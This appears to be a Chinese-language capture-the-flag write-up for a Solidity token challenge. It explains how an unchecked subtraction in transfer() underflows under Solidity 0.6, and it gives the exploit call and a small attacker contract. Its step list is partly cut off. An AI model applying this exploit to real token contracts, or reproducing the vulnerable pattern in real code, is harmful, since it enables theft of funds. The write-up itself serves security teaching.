// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
這個合約中有一個關鍵的漏洞在於 transfer
函數中的這一行:
require(balances[msg.sender] - _value >= 0);
這個檢查表面上是用來確保轉帳金額 _value
不會超過 msg.sender
的餘額,但是,由於合約使用的是 Solidity 0.6.0 版本,這個版本的 Solidity 並沒有自動檢測溢位的功能。也就是說,如果 balances[msg.sender]
的值本來就很小,而你試圖轉出比餘額還多的代幣,這裡會發生 下溢(underflow)。
例如,假設 balances[msg.sender]
是 20,而 _value
是 21,這時 balances[msg.sender] - _value
會嘗試減去超過餘額的數字,結果會發生下溢,變成一個極大的正數,這樣就能通過 require
檢查,並導致你的餘額變成一個非常大的數字。
步驟如下:
transfer
函數來觸發下溢。你可以執行如下操作:IToken(challengeInstance).transfer(challengeInstance, 21);
這裡 challengeInstance
是合約的地址,而 21
是我們想要轉出的代幣數量。由於你的餘額只有 20 個代幣,當你試圖轉出 21 個代幣時,會觸發下溢,讓你的餘額變成一個極大值。
pragma solidity ^0.8.0;
interface IToken {
function balanceOf(address) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
contract Hack {
constructor(address _target) {
IToken(_target).transfer(msg.sender, 1);
}
}